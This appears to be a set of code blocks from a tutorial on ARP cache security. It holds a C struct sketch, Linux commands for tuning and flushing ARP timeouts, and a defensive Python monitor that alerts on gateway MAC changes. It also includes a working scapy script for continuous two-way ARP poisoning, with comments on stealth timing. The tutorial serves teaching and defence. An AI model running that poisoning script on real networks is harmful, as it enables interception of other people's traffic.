1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

/**
 * Conceptual ARP Cache Entry Structure
 * Based on Linux kernel neighbor cache implementation
 * 
 * The actual implementation is more complex, but this
 * captures the key security-relevant fields.
 */
struct arp_cache_entry {
    /* Core Mapping */
    uint32_t        ip_address;      /* IPv4 address */
    uint8_t         mac_address[6];  /* 48-bit MAC address */
    
    /* State Management */
    enum {
        NUD_INCOMPLETE,
        NUD_REACHABLE,
        NUD_STALE,
        NUD_DELAY,
        NUD_PROBE,
        NUD_FAILED,
        NUD_NOARP,
        NUD_PERMANENT
    } state;
    
    /* Timing Information */
    unsigned long   confirmed;       /* Time of last confirmation */
    unsigned long   updated;         /* Time of last update */
    unsigned long   used;            /* Time of last use */
    
    /* Reference Counting */
    atomic_t        refcnt;          /* Usage count for memory management */
    
    /* Network Interface */
    struct net_device *dev;          /* Interface this entry applies to */
    
    /* Queue for pending packets */
    struct sk_buff_head arp_queue;   /* Packets waiting for resolution */
    
    /* Flags */
    uint32_t        flags;           /* NTF_ROUTER, NTF_PROXY, etc. */
};
 
/*
 * Security Implications:
 * 
 * 1. No authentication field - any device can claim any IP
 * 2. 'confirmed' based on traffic, not cryptographic proof
 * 3. State transitions triggered by untrusted input
 * 4. No origin tracking - can't verify who set the entry
 * 5. Permanent entries require admin access (defense opportunity)
 */

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

# ===========================================
# Linux: View and Modify ARP Cache Timeouts
# ===========================================
 
# View current neighbor cache parameters
ip neighbor show
 
# View all neighbor cache sysctl parameters
sysctl -a | grep neigh
 
# Key timeout parameters (values in seconds):
# base_reachable_time_ms: Base time entry stays REACHABLE (jitter applied)
# gc_stale_time: Time after which STALE entries are garbage collected
# delay_first_probe_time: Wait before sending first probe after STALE
 
# View current values for eth0
cat /proc/sys/net/ipv4/neigh/eth0/base_reachable_time_ms
cat /proc/sys/net/ipv4/neigh/eth0/gc_stale_time
 
# DEFENSE: Reduce timeout (faster recovery from poisoning)
# Set reachable time to 15 seconds (15000 ms)
echo 15000 > /proc/sys/net/ipv4/neigh/eth0/base_reachable_time_ms
 
# Or using sysctl (persistent with /etc/sysctl.conf)
sysctl -w net.ipv4.neigh.eth0.base_reachable_time_ms=15000
 
# For all interfaces:
sysctl -w net.ipv4.neigh.default.base_reachable_time_ms=15000
 
# ===========================================
# Linux: Clear ARP Cache
# ===========================================
 
# Flush entire ARP cache
ip neigh flush all
 
# Flush cache for specific interface
ip neigh flush dev eth0
 
# Remove specific entry
ip neigh del 192.168.1.1 dev eth0
 
# ===========================================
# ATTACK IMPLICATION:
# Shorter timeouts mean attacker must send
# poisoning packets more frequently
# ===========================================

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142

#!/usr/bin/env python3
"""
Persistent ARP Cache Poisoning - Conceptual Implementation
WARNING: Educational purposes only. Unauthorized use is illegal.
 
This demonstrates the mechanics of maintaining poisoned ARP caches
over time, a key consideration for both attackers and defenders.
"""
 
from scapy.all import ARP, Ether, sendp, get_if_hwaddr
import time
import threading
import signal
import sys
 
class PersistentARPPoison:
    """
    Maintains persistent ARP cache poisoning through
    continuous packet injection.
    """
    
    def __init__(self, interface: str, target_ip: str, gateway_ip: str):
        self.interface = interface
        self.target_ip = target_ip
        self.gateway_ip = gateway_ip
        self.attacker_mac = get_if_hwaddr(interface)
        self.running = False
        
        # Timing parameters (critical for stealth and effectiveness)
        self.poison_interval = 2.0  # Seconds between poison packets
        # Why 2 seconds?
        # - Faster than typical cache timeout (30s)
        # - Slow enough to avoid flooding detection
        # - Fast enough to win race conditions
        
    def build_poison_packet(self, target_ip: str, spoof_ip: str) -> Ether:
        """
        Create ARP reply associating spoof_ip with attacker's MAC.
        """
        target_mac = self._get_mac(target_ip)
        
        ether = Ether(dst=target_mac, src=self.attacker_mac)
        arp = ARP(
            op=2,  # Reply
            hwsrc=self.attacker_mac,
            psrc=spoof_ip,
            hwdst=target_mac,
            pdst=target_ip
        )
        return ether / arp
    
    def poison_loop(self):
        """
        Main poisoning loop - runs continuously.
        
        Key insight: We must poison BOTH directions continuously:
        1. Victim thinks gateway is at attacker MAC
        2. Gateway thinks victim is at attacker MAC
        
        If either cache recovers, the attack fails.
        """
        # Pre-build packets for efficiency
        victim_poison = self.build_poison_packet(
            self.target_ip, self.gateway_ip
        )
        gateway_poison = self.build_poison_packet(
            self.gateway_ip, self.target_ip
        )
        
        packet_count = 0
        while self.running:
            # Send both poison packets
            sendp(victim_poison, iface=self.interface, verbose=False)
            sendp(gateway_poison, iface=self.interface, verbose=False)
            packet_count += 2
            
            # Log progress (in real attack, would be silent)
            if packet_count % 100 == 0:
                print(f"[*] Sent {packet_count} poison packets")
            
            # Wait before next round
            time.sleep(self.poison_interval)
    
    def start(self):
        """Begin persistent poisoning."""
        self.running = True
        self.thread = threading.Thread(target=self.poison_loop)
        self.thread.start()
        print(f"[*] Poisoning started: {self.target_ip} <-> {self.gateway_ip}")
    
    def stop(self):
        """Stop poisoning and restore caches."""
        self.running = False
        self.thread.join()
        print("[*] Poisoning stopped")
        
        # IMPORTANT: Restore original ARP entries
        # Without this, network connectivity is broken
        self._restore_arp()
    
    def _restore_arp(self):
        """
        Restore legitimate ARP entries.
        This is critical for:
        1. Stealth (avoid post-attack connectivity issues)
        2. Ethical testing (don't leave network broken)
        """
        target_mac = self._get_mac(self.target_ip)
        gateway_mac = self._get_mac(self.gateway_ip)
        
        # Tell victim the real gateway MAC
        restore_victim = Ether(dst=target_mac) / ARP(
            op=2, hwsrc=gateway_mac, psrc=self.gateway_ip,
            hwdst=target_mac, pdst=self.target_ip
        )
        
        # Tell gateway the real victim MAC
        restore_gateway = Ether(dst=gateway_mac) / ARP(
            op=2, hwsrc=target_mac, psrc=self.target_ip,
            hwdst=gateway_mac, pdst=self.gateway_ip
        )
        
        # Send multiple times to ensure cache update
        for _ in range(5):
            sendp(restore_victim, iface=self.interface, verbose=False)
            sendp(restore_gateway, iface=self.interface, verbose=False)
            time.sleep(0.5)
        
        print("[*] Original ARP entries restored")
    
    def _get_mac(self, ip: str) -> str:
        """Get MAC address for IP via ARP."""
        from scapy.all import srp
        ans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip),
                  timeout=2, verbose=False)[0]
        return ans[0][1].hwsrc if ans else None
 
# Key takeaways for defenders:
# 1. Attackers must send packets every few seconds
# 2. Both directions must be poisoned simultaneously  
# 3. Network monitoring should detect this pattern
# 4. Rate limiting ARP traffic can disrupt attacks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198

#!/usr/bin/env python3
"""
ARP Cache Monitoring Tool - Defensive Implementation
Detects cache changes that may indicate poisoning attacks.
"""
 
import subprocess
import re
import time
import json
from datetime import datetime
from pathlib import Path
from typing import Dict, Optional
import logging
 
# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)
 
class ARPCacheMonitor:
    """
    Monitors ARP cache for suspicious changes.
    
    Detection strategies:
    1. Baseline comparison - detect any changes to known entries
    2. Gateway protection - alert on gateway MAC changes
    3. Duplicate detection - same IP with different MACs
    4. Rapid change detection - frequent cache updates
    """
    
    def __init__(self, critical_ips: list = None, baseline_file: str = None):
        self.critical_ips = critical_ips or []
        self.baseline_file = baseline_file or "arp_baseline.json"
        self.baseline = self._load_baseline()
        self.change_history = []
        
    def get_current_cache(self) -> Dict[str, dict]:
        """
        Retrieve current ARP cache from system.
        Returns dict: {ip: {'mac': mac, 'interface': iface}}
        """
        cache = {}
        
        # Platform-specific command
        import platform
        if platform.system() == "Windows":
            output = subprocess.check_output(["arp", "-a"], text=True)
            # Parse Windows ARP output
            for line in output.split('\n'):
                match = re.search(
                    r'(\d+\.\d+\.\d+\.\d+)\s+([0-9a-f-]+)\s+(\w+)',
                    line, re.I
                )
                if match:
                    ip, mac, entry_type = match.groups()
                    cache[ip] = {
                        'mac': mac.replace('-', ':').lower(),
                        'type': entry_type
                    }
        else:
            output = subprocess.check_output(["ip", "neigh", "show"], text=True)
            # Parse Linux ip neigh output
            for line in output.split('\n'):
                parts = line.split()
                if len(parts) >= 4:
                    ip = parts[0]
                    mac = None
                    for i, part in enumerate(parts):
                        if part == 'lladdr' and i + 1 < len(parts):
                            mac = parts[i + 1].lower()
                            break
                    if mac:
                        cache[ip] = {'mac': mac, 'state': parts[-1]}
        
        return cache
    
    def save_baseline(self):
        """Save current cache as baseline for future comparison."""
        current = self.get_current_cache()
        with open(self.baseline_file, 'w') as f:
            json.dump({
                'timestamp': datetime.now().isoformat(),
                'entries': current
            }, f, indent=2)
        logger.info(f"Baseline saved: {len(current)} entries")
        self.baseline = current
        
    def _load_baseline(self) -> Dict[str, dict]:
        """Load baseline from file if exists."""
        if Path(self.baseline_file).exists():
            with open(self.baseline_file) as f:
                data = json.load(f)
                logger.info(f"Loaded baseline from {data['timestamp']}")
                return data['entries']
        return {}
    
    def check_for_spoofing(self) -> list:
        """
        Compare current cache against baseline.
        Returns list of detected anomalies.
        """
        current = self.get_current_cache()
        anomalies = []
        
        for ip, info in current.items():
            # Check against baseline
            if ip in self.baseline:
                baseline_mac = self.baseline[ip]['mac']
                current_mac = info['mac']
                
                if baseline_mac != current_mac:
                    anomaly = {
                        'type': 'MAC_CHANGE',
                        'ip': ip,
                        'baseline_mac': baseline_mac,
                        'current_mac': current_mac,
                        'timestamp': datetime.now().isoformat(),
                        'severity': 'CRITICAL' if ip in self.critical_ips else 'WARNING'
                    }
                    anomalies.append(anomaly)
                    logger.warning(
                        f"MAC CHANGED for {ip}: "
                        f"{baseline_mac} -> {current_mac}"
                    )
        
        # Check for duplicate MACs (different IPs, same MAC)
        mac_to_ips = {}
        for ip, info in current.items():
            mac = info['mac']
            if mac not in mac_to_ips:
                mac_to_ips[mac] = []
            mac_to_ips[mac].append(ip)
        
        for mac, ips in mac_to_ips.items():
            if len(ips) > 1:
                # Multiple IPs with same MAC could be normal (virtual IPs)
                # or could indicate spoofing
                if any(ip in self.critical_ips for ip in ips):
                    anomalies.append({
                        'type': 'DUPLICATE_MAC',
                        'mac': mac,
                        'ips': ips,
                        'timestamp': datetime.now().isoformat(),
                        'severity': 'HIGH'
                    })
        
        return anomalies
    
    def continuous_monitor(self, interval: int = 5):
        """
        Continuously monitor cache for changes.
        Suitable for running as a service.
        """
        logger.info(f"Starting continuous monitoring (interval: {interval}s)")
        logger.info(f"Critical IPs: {self.critical_ips}")
        
        while True:
            anomalies = self.check_for_spoofing()
            
            for anomaly in anomalies:
                self.change_history.append(anomaly)
                
                # Take action based on severity
                if anomaly['severity'] == 'CRITICAL':
                    self._alert_critical(anomaly)
                
            time.sleep(interval)
    
    def _alert_critical(self, anomaly: dict):
        """Handle critical security alerts."""
        logger.critical(f"CRITICAL ARP ALERT: {json.dumps(anomaly, indent=2)}")
        # Integration points:
        # - Send to SIEM
        # - Trigger network isolation
        # - Alert SOC team
        # - Automatic remediation
 
# Example usage
if __name__ == "__main__":
    # Define critical infrastructure IPs
    critical = [
        "192.168.1.1",    # Gateway
        "192.168.1.2",    # DNS Server  
        "192.168.1.3",    # Domain Controller
    ]
    
    monitor = ARPCacheMonitor(critical_ips=critical)
    
    # First run: save baseline
    if not Path("arp_baseline.json").exists():
        print("Saving initial baseline...")
        monitor.save_baseline()
    
    # Start monitoring
    monitor.continuous_monitor(interval=5)